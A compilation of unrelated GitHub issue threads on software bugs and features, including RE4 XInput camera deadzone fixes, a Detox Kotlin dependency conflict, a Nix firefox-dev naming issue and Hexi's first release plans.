Suggestion: Restored Camera Movement for Xinput Devices

In the original GameCube version of RE4, you had pretty fine control over the camera with the C-Stick. It was easy to look around Leon and diagonals worked properly as well. But when using an Xinput controller with the Steam version of RE4, the control of the camera is massively reduced, but from the inside out. Basically, if you try to turn the camera left, it won't register until about halfway, which then snaps the camera about 45 degrees or so. You can still use the camera for the extreme edges, but fine control is lost. Diagonals also don't work in Xinput. This is separate from the game's bad deadzone.
Strangely enough, the camera does work properly when using Dinput, but when you aim your gun, it has the same bad deadzone as Xinput (I use an Xbox One controller and solve the deadzone using Steam input). I dunno if anything can be done about this, but I just thought I'd bring it up, thanks so much for all your hard work.
Here is a video demonstrating GC, Steam/Xinput, and Steam/Dinput:
https://youtu.be/H54_p4ut-hA

Looks like the shorts at 0xC2CA40 & 0xC2CA44 (1.1.0) have something to do with XInput deadzone, changing those to 32767 seems to almost set a 100% deadzone, while decreasing them seems to reduce it a little - unfortunately even with them both at 0 there's still some kind of deadzone being used, maybe in PadRead somewhere.

Interesting issue, mostly because Dinput does seem to work correctly here. I wonder how they managed to mess this up, but seeing as Xinput support was added by the Xbox 360 porting team, this being messed up doesn't surprise me at all..

e37b718 has some changes that should improve this.
Two new options:
RemoveExtraXinputDeadzone - Makes the C-Stick behave like it does on Dinput. (Not sure why they even added this)
XinputDeadzone - changes the RS and LS Xinput deadzone values (bio4.exe+0x82CA40 & bio4.exe+0x82CA44 mentioned by @emoose earlier. Thanks!). We default to a bit less than half of the original value now. Seems to work just fine.
Test build:
dinput8-deadzone-changes_v1.zip

Just tested the test build and oh my god, you did it! It's fixed! Full camera functionality restored, thank you so much! There is a deadzone left slightly bigger than I'd like, but this is very easily solved with the Steam Input settings. Thanks again!

This is amazing! I would've never thought RE4 HD or any RE4 port on PC will ever reach this state of polish and fixes.. (well, not with the help of CAPCOM anyways.. )
There is still some "cross deadzone" which I've "treated" with an anti-deadzone of .200 cross shaped in Steam Input, even after setting a 0.000000 deadzone in the tweaker's configuration. Now everything seems perfectly linear and smooth without any dead.. zones or other weird behavior. Thing is that now, with no more deadzones (as per the original GC/Wii versions) there seems to be an issue with character turning being highly sensitive.. while moving forward, tilting the analog in any direction but, for just a bit, will make the character turn and make it difficult to keep running/walking in a straight line. I've made sure I haven't overdone the anti-deadzone, which might have resulted in the same behavior.
Seems to me that somewhere during the porting process, likely the 360 version, the movement and aiming got treated as the same input and not separately as 2 separate actions, thus, in this scenario, one deadzone for both or none at all.. Likely the easiest way to "fix" the sensitive turning was to just add this per axis deadzone ("overwriting the stick value with "0" until some arbitrary number is reached ._.") which would be a "real" cross shaped deadzone and actually works wonders for "translating" axis values from a stick to a directional pad (which they might've done in the port.. I assume GC version had the proper, independent analog to movement treatment.. with the proper axis to movement scaling and.. "deadzoning..".. )
So.. if the movement and aiming are not actually "intertwined".. linked somehow in this port, an additional "per axis nulling" deadzone, would be fantastic (that "zeroing the axis values" until a threshold is reached)
Cheers!

Well, with 0.40 deadzone in re4_tweaks, everything feels very similar to the GC version running on Dolphin. As in: There is a "deadzone" before Leon begins turning when moving the left stick, but there isn't one when aiming with the same left stick.
I'd say your issues are being caused by Steam's anti-deadzone thing. Is that really needed?

Well, with 0.40 deadzone in re4_tweaks, everything feels very similar to the GC version running on Dolphin. As in: There is a "deadzone" before Leon begins turning when moving the left stick, but there isn't one when aiming with the same left stick.
I'd say your issues are being caused by Steam's anti-deadzone thing. Is that really needed?

From what I've experimented yesterday evening I have found that anti deadzone of .200 to be necessary for the aiming and even still, the turning still felt more sensitive than the GC original. Basically, by default, there seems to be a cross deadzone that is not the exact same for movement and aiming on the PC port, but hard linked to one another. The movement deadzone is higher, but not enough, especially when you cut into it to bring the aiming deadzone back to zero. If we could add some axis independent deadzone just for movement and maybe even configurable, it would be perfect. I'll try to experiment more when I get home tonight, but regardless, the worst part was already fixed as far as I'm concerned. I can now actually make a proper Steam Input config and not have gaps in the camera movement. This is a huge milestone in my eyes as far as controls are concerned in this game.
Cheers!

Soo, did some more experimentation with the Steam Input On/Off, deadzones / anti-deadzones On/Off, Dolphin/Steam, DualSense/XBOne controllers..
Dolphin: (I don't have a save on the game, thus I am only able to test the first handgun.. sniper is required to properly determine aim behavior)

C-Stick HAS a slight cross deadzone.. I've just never noticed it.. (Steam version DInput R-Stick DOES NOT!.. )
L-Stick has a huge cross deadzone for movement (which is perfectly appropriate) and for aiming some circle deadzone in the middle (which is to be expected in ANY game.. ) and possible slight cross deadzone for aiming, just not too bad (at least on the handgun that is (a sniper crosshair is needed to properly observe where the target actually is pointing.. )

Steam: (Dinput - can not be tampered with Steam Input without being converted to XInput)

Perfect Camera R-Stick Control, no deadzones, no snapping whatsoever (even better than on the original ???)
Bad cross deadzone while aiming (on the same hardcoded R-Stick) making small aiming adjustments at slight angles from cardinal directions or moving in a circle impossible
Almost perfect L-Stick movement control, if not ever so slightly too sensitive at turning..
R-Stick does not work in menus (?) for zooming in/out the map, or flipping items in the attache case..
Also, not controls related, but has no rumble support.. (?)

Steam: (XInput - Either XBOne or DualSense with Steam Input support enabled - no difference either way)
*With the fix applied (Stick/s deadzone to 0.000000 and remove Extra XI Extra Deadzone enabled)

Camera still has a cross shaped deadzone (just as much if not slightly less than on Dolphin.. ) Can be "fixed" with a cross anti-deadzone of .200 configured in Steam Input, otherwise perfectly functional (the anti-deadzone can only be approximated by trial and error, so no concrete values can be "calculated" or deduced from some literal values)
L-Stick has the same cross shaped deadzone just as the R-Stick and just the same can be aleviated via Steam Input with a cross shaped anti-deadzone of .200 (issue here is that the movment turning left/right becomes overly sensitive to the point where it is hard to keep a straight line.. )

What I believe should be happening with the movement input from the left stick is to "null" both X/Y axes to give them a proper cross shaped deadzone as could be seen in the following linked picture where I've tried to do a representation of what the ideal movement should be translated to from the left stick: https://i.ibb.co/HdRD42z/Cross-axis-nulling-deadzone.png
Basically, the stick's movement should be split in 8 x 45 degrees "sectors" in which the cardinals should only take one axis input, either X or Y, and the diagonals should only take a mix of X+Y or Y+X.
So, from "0*" to "360*" it should go like this:
-22.5* ~ 22.5* = Forward,

22.5* ~ 67.5* = Forward turning Right,
67.5* ~ 112.5* = Turn Right,
112.5* ~ 157.5* = Backward turning Right,
157.5* ~ 202.5* = Backward,
202.5* ~ 247.5* = Bacward turning Left,
247.5* ~ 292.5* = Turn Left,
292.5* ~ -22.5*/337.5* = Forward turning Left

To achieve these ideal values (well, a very close rough approximation due to hardware tolerances.. ) with equal spacing/mapping of the cardinal and ordinal directions we'd just need to "null" the X/Y axes up to a threshold (that could even be configurable) but only while moving.
That threshold could easily be calculated with an online geometry calculator to a value of 0.3827 (roughly approximated to 0.4 if needed be) as can be seen in the following picture: https://i.ibb.co/HVhk1px/Octagon-deadzone-value.png Caveat here is that the deadzone has to actually be simply nulling the axis values, otherwise, calculating the "deadzone" by other means might end up as in the Steam Input's case with a "pseudo cross deadzone" which becomes lower and lower as the stick goes further from the center (it can even be seen in the UI graph itself) thus, the more you push the stick outwards in any direction, the more the cardinal directions become prioritized, thus the turning becomes more sensitive at the edges than just after the deadzone threshold is passed at about the middle of the stick's range.
Hopefully this could be of any help.
Cheers!

So, the biggest problem with the deadzone override is that if you set the sensitivity too low, it becomes hard to move Leon in a straight line, because any slight left/right deviation registers as a diagonal. The default deadzone override setting of 0.4 works well enough, but it still leaves a small but noticeable deadzone in the middle while aiming.
Feels like a hack, but I edited OverrideXinputDeadzone in ControllerTweaks.cpp to set the deadzone to 0.0 only when holding KAMAE or KAMAE_KNIFE and it feels much better. Maybe we could just add a second override slider for configuring an aim-specific deadzone.


Conflict with dependency 'org.jetbrains.kotlin:kotlin-stdlib' in project ':app'.

Describe the bug
After following the documented guide for adding Android and trying to execute
detox build -c android.emu.debug
I get the following error.

FAILURE: Build failed with an exception.

What went wrong:
Execution failed for task ':app:preBetaDebugAndroidTestBuild'.

Conflict with dependency 'org.jetbrains.kotlin:kotlin-stdlib' in project ':app'. Resolved versions for app (1.1.60) and test app (1.3.0) differ. See https://d.android.com/r/tools/test-apk-dependency-conflicts.html for details.

Expected behavior
The build to be successful and run tests on Android.
Steps taken
I tried updating
ext.kotlinVersion = '1.3.0'
to 1.1.60 but that runs into error,

Could not find org.jetbrains.kotlin:kotlin-stdlib-jdk8:1.1.60.

Environment (please complete the following information):

Detox:^12.0.0
React Native:0.55.3
Node:v11.12.0
Device: Any Android emulator
OS: Mac

Device and Verbose Detox Logs
androidDependencies output.
*I noticed

org.jetbrains.kotlin:kotlin-stdlib-jre7:1.1.60@jar

and

org.jetbrains.kotlin:kotlin-stdlib-jdk8:1.3.0@jar

and suspect that is the root cause of the error but lack the knowledge to figure out how to solve it.
https://gist.github.com/JanithaR/c5c7b3be1ce6b26ca3e66feb7937c94c

@d4vidi This is what I feared. We had similar stuff with Swift in iOS.

@JanithaR Please be sure to align detoxKotlinVersion with your app's version (1.1.60). Use this guide for reference.

I did and I have put the outcome in my bug report.

i have same error for this, i flow https://github.com/wix/Detox/blob/master/docs/Introduction.Android.md#3-add-kotlin this guide set kotlin version is 1.3.0, but have same error

Guys, does anyone have a suggestion/workaround to get tests running on Android for the time being?

@d4vidi

@JanithaR Please try adding this to your app's (i.e. root build.gradle) classpath:
    dependencies {
// ...
        classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlinVersion"
    }

@JanithaR last but not least, if all else fails please see whether your app declares org.jetbrains.kotlin:kotlin-stdlib a direct dependency. If so, please try switch it to org.jetbrains.kotlin:kotlin-stdlib-jdk8:1.3.0 so as to align with detox.
Currently, detox declares it a hard dependency. Perhaps I ought to allow for this to be conditional but that will take a few days to work out.

for react native please remove
support  Jetpack
android.useAndroidX=true
android.enableJetifier=true
from android/gradle.properties then  work, i try this only for me

@JanithaR Please try adding this to your app's (i.e. root build.gradle) classpath:
    dependencies {
// ...
        classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlinVersion"
    }

I have already done this.

for react native please remove
support Jetpack
android.useAndroidX=true
android.enableJetifier=true
from android/gradle.properties then work, i try this only for me

I do not have these defined in my android/gradle.properties file.

In an effort to understand how things should be configured more correctly I cloned the repo and tried to get the demo-react-native-jest project provided in the example to get to work. That also ends up in an error.
> Task :app:compileDebugAndroidTestJavaWithJavac FAILED
/Users/janithar/Desktop/Repos/Detox/examples/demo-react-native-jest/android/app/src/androidTest/java/com/demoreactnativejest/DetoxTest.java:26: error: incompatible types: android.support.test.rule.ActivityTestRule<MainActivity> cannot be converted to androidx.test.rule.ActivityTestRule
        Detox.runTests(mActivityRule);

for react native please remove
support Jetpack
android.useAndroidX=true
android.enableJetifier=true
from android/gradle.properties then work, i try this only for me

I do not have these defined in my android/gradle.properties file.

can you share some you config?

../android/app/build.gradle
defaultConfig {
         ...
+        testBuildType System.getProperty('testBuildType', 'debug')
+        testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
     }
...
dependencies {
     ...
+    androidTestImplementation(project(path: ":detox"))
+    androidTestImplementation 'junit:junit:4.12'
 }

.../DetoxTest.java
+package facilit.net.mobile;
+
+import com.wix.detox.Detox;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+
+@RunWith(AndroidJUnit4.class)
+@LargeTest
+public class DetoxTest {
+
+    @Rule
+    public ActivityTestRule<MainActivity> mActivityRule = new ActivityTestRule<>(MainActivity.class, false, false);
+
+    @Test
+    public void runDetoxTests() {
+        Detox.runTests(mActivityRule);
+    }
+}

.../android/build.gradle
buildscript {
     repositories {
         jcenter()
         google()
     }
+
+    ext.kotlinVersion = '1.3.0'
+    ext.detoxKotlinVersion = ext.kotlinVersion
+
     dependencies {
         classpath 'com.android.tools.build:gradle:3.1.3'
-
+        classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlinVersion"
         // NOTE: Do not place your application dependencies here; they belong
         // in the individual module build.gradle files
     }

../android/settings.gradle
+include ':detox'
+project(':detox').projectDir = new File(rootProject.projectDir, '../node_modules/detox/android/detox')

../package.json
"detox": {
     "configurations": {
       ...
+      "android.emu.debug": {
+        "binaryPath": "android/app/build/outputs/apk/debug/app-debug.apk",
+        "build": "export ENVFILE=.env.beta && cd android && ./gradlew assembleBetaDebug assembleAndroidTest -DtestBuildType=debug && cd ..",
+        "type": "android.emulator",
+        "name": "Nexus_5X_API_28"
       }
     },
...

@JanithaR sorry, the jest demo project happened to have been broken. I've just finished fixing it. You can use the other (mocha) demo project if you like.

What about this, though? https://github.com/wix/Detox/issues/1257#issuecomment-482087911

What about this, though? #1257 (comment)

Here are all the dependencies from .../android/app/build.gradle
dependencies {
    compile project(':react-native-gesture-handler')
    compile project(':react-native-device-info')
    implementation (project(':react-native-maps')){
       exclude group: 'com.google.android.gms', module: 'play-services-base'
       exclude group: 'com.google.android.gms', module: 'play-services-maps'
    }
    implementation 'com.google.android.gms:play-services-base:15.0.1'
    implementation 'com.google.android.gms:play-services-maps:15.0.1'
    compile project(':rn-fetch-blob')
    compile project(':pushwoosh-react-native-plugin')
    compile (project(':react-native-camera')) {
        exclude group: "com.android.support"
    }
    compile project(':react-native-keychain')
    compile project(':react-native-background-upload')
    compile project(':react-native-image-picker')
    compile project(':react-native-config')
    compile project(':react-native-vector-icons')
    compile project(':react-native-i18n')
    compile fileTree(dir: "libs", include: ["*.jar"])
    compile "com.android.support:appcompat-v7:27.1.1"
    compile "com.facebook.react:react-native:+"  // From node_modules
    androidTestImplementation(project(path: ":detox"))
    androidTestImplementation 'junit:junit:4.12'
}

If I'm not terribly mistaken, org.jetbrains.kotlin:kotlin-stdlib is not a direct dependency.

Aaand things are working after I updated /node_modules/pushwoosh-react-native-plugin/src/android/build.gradle dependency from implementation "org.jetbrains.kotlin:kotlin-stdlib-jre7:1.1.60" to implementation "org.jetbrains.kotlin:kotlin-stdlib-jdk8:1.3.0".
I do not think that this is a smart solution. Can I force all transitive dependencies to be using the same version across all modules?

ahh kudos for that!

Yes, try explicitly adding the kotlin stdlib dep and force it:
implementation "org.jetbrains.kotlin:kotlin-stdlib-jdk8:1.3.0 { force = true }
or if that doesn't work, also exclude it from pushwoosh:
implementation "org.jetbrains.kotlin:kotlin-stdlib-jdk8:1.3.0
implementation(project(':pushwoosh-react-native-plugin')) {
       exclude group: 'org.jetbrains.kotlin, module: 'kotlin-stdlib-jdk'
}

Ok, thanks. I will definitely try that tomorrow.
While my problem is solved by resorting to a workaround I guess still there's something could be done that's way better. Really wish I could help you guys but I need a better understanding on how these dependencies work. Perhaps update the docs highlighting this issue and mention the same steps I took to rectify it until you guys come up with a solution to this accepted/bug?

@JanithaR With detox, we were trying to not force library users to introduce kotlin into their projects if they don't wish to. This is why we have the kotlin-stdlib-jdk declared as a dependency. Now it turns out that, though ironic, we could have made it difficult for projects that are already using kotlin - such as your own. I think the solution here is to cleverly make this dep conditional.

@JanithaR has any of my suggestions worked out for you?

@JanithaR has any of my suggestions worked out for you?

Hey, sorry I live in Sri Lanka. You might've heard the terrible news by now. I didn't have time to code. Will get back.

Yes, of course. Terrible news. Wish you guys all the best.

Hi @JanithaR. I hope you are doing fairly well, given the situation.
In any case, if it matters for anything at all, I've formalized our discussion into a 'troubleshooting' subsection in the android guide. In any case, generally speaking things should be easier to work with starting Detox 12.6.2. In essence, you don't need to define detoxKotlinVersion anymore. I'd appreciate feedback as to whether this has helped solving this issue.
Thanks

Solved (at least in theory) in 12.6.3 - closing this.


PRCA scraping bug

(uti-env)root@undetheinfluence:~/uti# python task_runner.py --scrape prca -v
Scraping PRCA
... agency_2014-09_2014-11.pdf
parsing: /root/uti/scrapers/prca/store/agency_2014-09_2014-11.pdf
Traceback (most recent call last):
File "task_runner.py", line 76, in
exec_scraper[scraper].scrape()
File "/root/uti/scrapers/prca/scrape_prca.py", line 199, in scrape
ScrapePRCA().run()
File "/root/uti/scrapers/prca/scrape_prca.py", line 195, in run
self.parse_file(meta)
File "/root/uti/scrapers/prca/scrape_prca.py", line 174, in parse_file
blocks = self.scrape_blocks_from_pdf(full_path)
File "/root/uti/scrapers/prca/scrape_prca.py", line 56, in scrape_blocks_from_pdf
pdf = pdftoxml.from_file(filename)
File "/root/uti/utils/pdftoxml.py", line 172, in from_file
return PDFtoXML(filename)
File "/root/uti/utils/pdftoxml.py", line 20, in init
self._xml = lxml.etree.fromstring(xml_string)
File "lxml.etree.pyx", line 3092, in lxml.etree.fromstring (src/lxml/lxml.etree.c:70473)
File "parser.pxi", line 1828, in lxml.etree._parseMemoryDocument (src/lxml/lxml.etree.c:106307)
File "parser.pxi", line 1716, in lxml.etree._parseDoc (src/lxml/lxml.etree.c:105098)
File "parser.pxi", line 1086, in lxml.etree._BaseParser._parseDoc (src/lxml/lxml.etree.c:99780)
File "parser.pxi", line 580, in lxml.etree._ParserContext._handleParseResultDoc (src/lxml/lxml.etree.c:94254)
File "parser.pxi", line 690, in lxml.etree._handleParseResult (src/lxml/lxml.etree.c:95690)
File "parser.pxi", line 631, in lxml.etree._raiseParseError (src/lxml/lxml.etree.c:94969)
lxml.etree.XMLSyntaxError: None

This one is fixed now, right?
In case we forget – the problem here was pdftohtml was missing.

It is yes. I'll check double check that I've added it to the install
instructions
On Thu, Mar 26, 2015 at 12:16 PM Andy Lulham<EMAIL_ADDRESS>wrote:

This one is fixed now, right?
In case we forget – the problem here was pdftohtml was missing.
—
Reply to this email directly or view it on GitHub
https://github.com/spudmind/spud/issues/82#issuecomment-86486591.


go/worker/common/host: Emit events on (re)starts/failures

See #1794
This replaces the previous mechanism which was implemented twice, first
to receive the CapabilityTEE and second to receive the runtime version.
The new mechanism is based on events so that the caller is able to get
notified when changes occur (e.g., on restarts).

Since this adds WaitForStart it might be ok for now, but the moment we add another event, I think this will break, so thought should be given now...

Yeah so currently the broker will replay the last event, so as long as there are only started and failed to start events this is fine. However if we decide to add more, this could cause problems (e.g., missed start event).
I guess we could just get rid of the Wait* path and just use events. We will need to do this for triggering registrations anyway, so maybe we should invert the logic now.

The second commit now changes the registration worker to be event-based (see commit message for details) and removes (the need for) WaitForStart. PTAL.


Port to avalonia to allow cross platform usage

Porting to avalonia wouldn't be a difficult task, but would allow for the downloader to be used in mac and linux.

as well as port to .net core instead of framework for more performance and cross platform compatibility

I cloned the repo and I'm taking a look at the code base to see if if a .net core port is doable.

@Anequit Cool! I'll look into it but I can't promise if I can do it.

@Anequit Cool! I'll look into it but I can't promise if I can do it.

I don't mind doing it. If you assign me to the issue I can try and replicate the ui as close as possible and wire it up for you.

I won't be able to integrate the titlebar with the system titlebar, so the application styling will be persistent across all operating system. I've tried to create a background panel behind the exit button and such, but they blend the colors and cause it to look really od, so the image above is how it will look 👍🏻

implemented drag and drop on the custom title bar :)

@izqalan There isn't a group box present in avalonia, so i did this. Is this alright?

Ignore the red as it's just placeholder, but the download log used to be a group box.

Almost done! The only thing that's not finished is wiring up the old downloading code to the UI so it functions properly and getting the two bottom links at the bottom working.

I've been considering refactoring the old codebase to help with identifying issues, but I'll do that in a separate branch when the UI is 100% done and wired up first.

I've been considering refactoring the old codebase to help with identifying issues, but I'll do that in a separate branch when the UI is 100% done and wired up first.

Will have to refactor it.

Almost done!

@Anequit Good work! I've been busy with another project, I'm sorry I couldn't be of more help to you.

Any news here?
Is this supposed to work with .NET Core already? I couldn't find a more specific issue, the wiki is empty, and the README does not specify anything either here. 😄

Any news here?
Is this supposed to work with .NET Core already? I couldn't find a more specific issue, the wiki is empty, and the README does not specify anything either here. 😄

It was originally on .net framework, but there wasn't .net maui at the time so we moved it to avalonia.


Problem of defining the dynamics inside the macro def

This does not work:
    # the model
    @def ocp begin
        # parameters
        Cd = 310
        Tmax = 3.5
        β = 500
        b = 2
        t0 = 0
        r0 = 1
        v0 = 0
        vmax = 0.1
        m0 = 1
        mf = 0.6
        x0 = [ r0, v0, m0 ]

        # variables
        tf ∈ R, variable
        t ∈ [ t0, tf ], time
        x ∈ R³, state
        u ∈ R, control
        r = x₁
        v = x₂
        m = x₃

        # constraints
        0 ≤ u(t) ≤ 1,          (u_con)
            r(t) ≥ r0,         (x_con_rmin)
        0 ≤ v(t) ≤ vmax,       (x_con_vmax)
        x(t0) == x0,           (initial_con)
        m(tf) == mf,           (final_con)

        # dynamics
        function F0(x)
            r, v, m = x
            D = Cd * v^2 * exp(-β*(r - 1))
            return [ v, -D/m - 1/r^2, 0 ]
        end
        function F1(x)
            r, v, m = x
            return [ 0, Tmax/m, -b*Tmax ]
        end
        ẋ(t) == F0(x(t)) + u(t)*F1(x(t))

        # objective
        r(tf) → max
    end

The functions F0 and F1 must be defined outside the macro.

Of course not. Either you want to use julia code such as functions (not part of the DSL - why should they as we can still write Julia code, that's the idea!), or define aliases. Actually, this works:
@def ocp_a begin

    tf, variable
    t ∈ [ t0, tf ], time
    x ∈ R³, state
    u ∈ R, control

    r = x₁
    v = x₂
    m = x₃

    x(t0) == [ r0, v0, m0 ]
    0  ≤ u(t) ≤ 1
         r(t) ≥ r0,     (1)
    0  ≤ v(t) ≤ vmax,   (2)
    mf ≤ m(t) ≤ m0,     (3)

    D = Cd * v^2 * exp(-β*(r - 1))
    F0 = [ v, -D/m - 1/r^2, 0 ]
    F1 = [ 0, Tmax/m, -b*Tmax ]
    ẋ(t) == F0(t) + u(t) * F1(t)
    # but better to write
    # ẋ(t) == [ v(t), -D(t)/m(t) - 1/r(t)^2, 0 ] + u(t) * F1 = [ 0, Tmax/m(t), -b*Tmax ]

    r(tf) → max

end

But it makes sense to define the vector fields in Julia, for instance to be able to compute their Lie brackets, etc. Also note that writing the constants as aliases will prevent to reuse them outside the definition, not a good idea either.


The required Xamarin.iOS version to install on the Mac couldn't be determined

Im running Visual on Windows machine, connected to a mac, using Automatic Mac provisioning.
Since last Visual Studio Update (+XCode update), xamarin.ios on mac cant be updated to latest version.
Here is the error in logs :
Xamarin.Messaging.Ssh.SshCommands|Information|0|A valid Mono installation has been found at '/Library/Frameworks/Mono.framework/Versions/Current/bin/mono64'
Xamarin.Messaging.Integration.State.ServerStateContext|Warning|0|The required Mono version to install on the Mac couldn't be determined, so the Mono validation will not continue.
Xamarin.Messaging.Integration.State.ServerStateContext|Information|0|Vérification de l'installation de Xamarin iOS...
Xamarin.Messaging.Integration.State.ServerStateContext|Warning|0|The required Xamarin.iOS version to install on the Mac couldn't be determined, so the Xamarin.iOS validation will not continue.

Thanks for submitting an issue and we apologize for the delayed response. The requested updates haven't been made since the creation of the issue, and the timeline for resolution may vary based on resourcing, so the issue is being moved to an internal repo to better track it.


Fixes for SSO examples with Keycloak (replace outdated Keycloak image) - v2

fix ivy-sso-saml example (new keycloak image)
fix ivy-sso-openid-connect example (use SSL for keycloak)

@alexsuter @ivy-rew Next try ... Sorry, in PR #155 certificate files were missing. (Missed adding unversioned files.)


Firefox dev package runs as "firefox"

Hi,
Firefox dev unwrapped package starts from command line as "firefox" which it should not be.
It should start something like firefox-dev or something...
Thank you

Why should it be different in function of the distribution channel?

@nbp I could not understand what you are asking.
Firefox dev should not start as "firefox". because if you install both firefox(normal version) and firefox dev version , which will start?
I am using UBuntu. As default "firefox" command starts firefox normally which is already installed on system. But after I installed firefox-dev from nix, now my old firefox does not starts.

Can you please inform here if yu will not change the executable name.
If yes please tell me how can I change it locally if possible?
Thank you

Put this into your Nixpkgs config (~/.config/nixpkgs/config.nix):
{
  packageOverrides = pkgs: rec {
    my-firefox-esr = pkgs.stdenv.mkDerivation {
      name = "firefox-esr";
      buildCommand = ''
        mkdir -p $out/bin
        ln -s ${pkgs.firefox-esr}/bin/firefox $out/bin/firefox-esr
      '';
    };
  };
}

Then install with nix-env -iA my-firefox-esr or nix-env -i firefox-esr. (Adapt firefox-esr to the version you prefer.)

I can not undestand how you accept firefox-dev to start as "firefox" which is the deault firefox package executable name? What will happen if someone will install both of them?
I don't know what is going on with nixOS but nix is using by all other distros. My distro also %99 of distros already have "firefox" on their paths. If someone will install firefox-dev edition for developer purpose they will conflict.
This is completly wrong and unacceptable.

@TerkiKerel Actually firefox-devedition-bin package installs firefox-devedition executable. Which firefox-dev package are using that install firefox executable?

@orivej firefox-devedition-bin-unwrapped package uses "firefox" executable.

Cna somebody please help. If you need help for test I can. This is a very small bug which makes conflict of packages :(

@baracoder and thats a bug... It is a simple link bug.

This seems fixed already. The following will not find firefox:
$ nix-shell --pure -p firefox-devedition-bin --command firefox


Editor does not :quit after "Open with"

When I edit a file with Onivim2 using the right-click menu in Windows, then I have to :quit twice to close the editor.

Not blocking, because I can use :qa to close the other window too. But I do not want to get used to using :qa all the time :-)

...then I have to :quit twice to close the editor.

Here using :q does not quit the editor no matter how many times it is applied, but :qa does work.


Is the sample script comment wrong?

The following comment and comments state that the OS type should be changed to Linux (if the OS disk has Linux OS), but the command in the code the OS type is already -Linux Shouldn't it be -Windows in the code, so that the comment would make sense?
#Use the Managed Disk Resource Id to attach it to the virtual machine. Please change the OS type to linux if OS disk has linux OS
$VirtualMachine = Set-AzureRmVMOSDisk -VM $VirtualMachine -ManagedDiskId $disk.Id -CreateOption Attach -Linux

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 04f5da69-0386-feb0-469a-788ae89d3a3d
Version Independent ID: 27031537-f436-7252-b73c-7f8edbc176cc
Content: Azure PowerShell Script Sample - Create a VM from a snapshot
Content Source: articles/virtual-machines/scripts/virtual-machines-windows-powershell-sample-create-vm-from-snapshot.md
Service: virtual-machines-windows
GitHub Login: @ramankum
Microsoft Alias: ramankum

Thanks for the feedback! We are currently investigating and will update you shortly.

@Dc9894 Thanks for the feedback! I have assigned the issue to the content author to evaluate and update as appropriate.
@ramankumarlive I am unable to edit the PowerShell script that contains the error, otherwise I would make the change.

Created a pull request to fix the issue.
https://github.com/Azure/azure-docs-powershell-samples/pull/141
@TravisCragg-MSFT Samples are stored here: https://github.com/Azure/azure-docs-powershell-samples


Add migration script for events

Migration result.

@PC98 The changes in f14d93f properly add and remove events in the nonprofit documents using $push and $pull. I tested these changes running the up migrate command on a fresh db instance.


Towards version 0.0.1

Hi Everyone!
To my surprise, other people besides myself have started to use Hexi!
I'm extremely happy about that, but, until now, Hexi has been really nothing more than an elaborate "experiment" that I could not in good faith actually advise anyone to use in production.
Yes, people have been using it production - especially me.
But Hexi was always just a labour-of-love by one inconsistent maintainer (me!) who likes to take long holidays in remote parts of the world without internet access. 😟 😄 ✨
(As an aside: I can highly recommend doing that!!)
And, as much fun as Hexi is to work on (it's my baby!) I pretty much have to turn all my attention to paying gigs when they come up to keep the lights on.
And, unfortuanly, I'm drowning in paying work at the moment. 😒 😭 🤑
So, my goal is now to put all my efforts into stabilizing Hexi's source (core.js) and dependent modules so that we all have a solid foundation to build on.
The first step is to lock down the current version of Hexi on the master branch at version 0.0.1. And, do the same thing for its dependent modules:

Bump: A complete suite of 2D collision functions for games.
Tink: Drag-and-drop, buttons, a universal pointer and other
helpful interactivity tools.
Charm: Easy-to-use tweening animation effects for Pixi sprites.
Dust: Particle effects for creating things like explosions, fire
and magic.
Sprite Utilities: Easier and more intuitive ways to
create and use Pixi sprites, as well adding a state machine and
animation player
Game Utilities: A collection of useful methods for games.
Tile Utilities: A collection of useful methods for making tile-based game worlds with Tiled Editor. Includes a full suite of isometric map utilities.
Sound.js: A micro-library for loading, controlling and generating
sound and music effects. Everything you need to add sound to games.
Smoothie: Ultra-smooth sprite animation using
true delta-time interpolation. It also lets you specify the fps (frames-per-second) at which
your game or application runs, and completely separates your sprite rendering loop from your
application logic loop.

Once that's done.... Hexi will have it's first official "release!"
We can then delve into squashing the last of its bugs and thinking about it's future.
(I've currently suspended work on using Pixi v4.x as the renderer but will resume that work when 0.0.1 is done.)
Also, it's become obvious that Hexi needs more maintainers.
Volunteers welcome!!!
The only thing I ask is that we agree to agree on following guidelines:

We're regular users of Hexi and depend on it for the kind of work we're doing (hobby or paying).
We're wiling to come a consensus regarding user-facing API changes (anything that affects usability, backwards compatibility or risks breaking production code in any way.)
We resist the temptation to refactor just for sake of refactoring. This is the death-curse of most open source projects - we can do better!  There has to be qualatitative benefit to end user: either in reliability or maintainability.
You're willing accept Hexi's core development values: increasing simplicity, reliability, usability (for the end users of Hexi), and, very importantly removing unnecessary features. It's Hexi's goal to become a Zen Garden for game developers. The simpler, more streamlined, and easier we can make the work of creating games for our users, the better we're succeeding.

If you're good with that, just request to be added as a collaborator in this thread.
Cheers,
kk.

Here are the goal for 0.0.1:

Establish that all Hexi's core.js and  supporting libraries have 100% compatibility with Pixi v3.9 (the most stable version of Pixi).
Add MIT licenses to all libraries.
Grunt/gulp build process established.
Publish to NPM.

Once we've done we'll tag all the libraries as 0.0.1 and work through squashing the last few remaining bugs.
Please let us know if there's anything more we should add to this list.
Please

I can help you with the last three goals of 0.0.1; and am able to do so autonomously; but I would like to suggest Webpack over Gulp or Grunt, for simplicity and maintainability. Having worked a lot with both Gulp and Webpack, I think Gulp is more suited for larger multi-part frontend applications, whereas webpack is perfect for libraries. A full config that will cover building Hexi.js is a /mere/ 7 lines of code. (10 with uglifying)
The strength of Webpack lies in its integration with the NPM eco system. You can require() everything you need; All dependencies are declared in package.json and installed and bundled upon build.

Another issue to discuss is package naming - A lot of the packages like dust, smoothie, bump et al are already taken.
I think pixi-* is a good approach tho? It seems to be the convention for libraries targeting other libraries  pixi-dust pixi-smoothie eg

Question: Can we expect modules like utils, charm etc in version compatabile with pixi 4.* ?
and if yes - then when?

@Qriva That will happen eventually once v4 stabilizes - which could take a while.
At the moment v4 is in too much flux with arbitrary API changes and is too buggy to risk in production (at least for me.)
And, v4 doesn't offer any significant features or performance improvements over late v3, which is incredibly stable and bug free.
